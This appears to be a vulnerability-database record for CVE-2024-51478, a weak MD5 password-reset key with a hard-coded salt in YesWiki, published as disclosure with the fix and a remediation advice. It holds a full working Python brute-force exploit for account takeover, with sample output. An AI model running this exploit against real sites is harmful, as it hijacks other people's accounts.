{"id":"CVE-2024-51478","aliases":["GHSA-4fvx-h823-38v3"],"url":"https://o3.security/vulnerability/CVE-2024-51478","summary":"Use of a Broken or Risky Cryptographic Algorithm in YesWiki","details":"### Summary\nThe use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.\n\n### Details\nFirstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` :\n\n```php\nprivate const PW_SALT = 'FBcA';\n```\n\nNext, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` :\n\n```php\nprotected function generateUserLink($user)\n{\n    // Generate the password recovery key\n    $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);\n```\n\nThe key is generated from the **user's name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**.\nIf we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.\n\n### Proof of Concept (PoC)\nTo demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Author: Nishacid\n# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto\n\nfrom hashlib import md5\nfrom requests import post, get\nfrom base64 import b64encode\nfrom sys import exit\nfrom datetime import datetime\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom argparse import ArgumentParser\n\n# Known data\nsalt = 'FBcA' # Hardcoded salt \nrandom_range = 10000  # Range for random_int()\nWORKERS = 20 # Number of workers\n\n# Arguments\ndef parseArgs():\n    parser = ArgumentParser()\n    parser.add_argument(\"-u\", \"--username\", dest=\"username\", default=None, help=\"Username of the account\", required=True)\n    parser.add_argument(\"-e\", \"--email\", dest=\"email\", default=None, help=\"Email of the account\", required=True)\n    parser.add_argument(\"-d\", \"--domain\", dest=\"domain\", default=None, help=\"Domain of the target\", required=True)\n    return parser.parse_args()\n\n# Reset password request and get timestamp  \ndef reset_password(email: str, domain: str):\n    response = post(\n        f'{domain}?MotDePassePerdu',\n        data={\n            'email': email, \n            'subStep': '1'\n        },\n        headers={\n            'Content-Type': 'application/x-www-form-urlencoded'\n        }\n    )\n    if response.ok:\n        timestamp = datetime.now() # obtain the timestamp\n        timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')\n        print(f\"[*] Requesting link for {email} at {timestamp}\")\n        return timestamp\n    else:\n        print(\"[-] Error while resetting password.\")\n        exit()\n\n# Generate and check keys\ndef check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):\n    user_base64 = b64encode(username.encode()).decode()\n    data = f\"{username}_{email}{random_int_val}{timestamp_req}{salt}\"\n    hash_candidate = md5(data.encode()).hexdigest()\n    url = f\"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}\"\n    # print(f\"[*] Checking {url}\")\n    response = get(url)\n    \n    # Check if the link is valid, warning depending on the language\n    if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:\n        return (True, random_int_val, hash_candidate, url)\n    return (False, random_int_val, None, None)\n\ndef main(timestamp_req: str, domain: str, username: str, email: str):\n    # Launch the brute-force\n    print(f\"[*] Starting brute-force, it can take few minutes...\")\n    with ThreadPoolExecutor(max_workers=WORKERS) as executor:\n        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]\n        \n        for future in as_completed(futures):\n            success, random_int_val, hash_candidate, url = future.result()\n            if success:\n                print(f\"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}\")\n                print(f\"[+] URL: {url}\")\n                exit()\n        else:\n            print(\"[-] Key not found.\")\n\nif __name__ == \"__main__\":\n    args = parseArgs()\n    timestamp_req = reset_password(args.email, args.domain)\n    main(timestamp_req, args.domain, args.username, args.email)\n```\n\nSimply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain.\n\n```bash\n» python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' \n[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48\n[*] Starting brute-force, it can take few minutes...\n[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9\n[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K\n```\n\n### Impact\nMany impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.\n\n### Recommendation \nThe safest solution is to replace the salt with a random one and the hash algorithm with a more secure one.\nFor example, you can use [random bytes](https://www.php.net/manual/en/function.random-bytes.php) instead of a random integer.","published":"2024-10-31T16:15:46.811Z","modified":"2026-08-12T03:51:39.089745912Z","cvss":{"score":9.9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","fixedVersion":"4.4.5"}],"fix":{"url":"https://github.com/YesWiki/yeswiki/commit/b5a8f93b87720d5d5f033a4b3a131ce0fb621dbc","label":"YesWiki/yeswiki@b5a8f93"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/51xxx/CVE-2024-51478.json"},{"type":"ADVISORY","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-4fvx-h823-38v3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51478"},{"type":"FIX","url":"https://github.com/YesWiki/yeswiki/commit/b5a8f93b87720d5d5f033a4b3a131ce0fb621dbc"},{"type":"FIX","url":"https://github.com/YesWiki/yeswiki/commit/e1285709f6f6a2277bd0075acf369f33cefd78f7"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:39.089745912Z"}}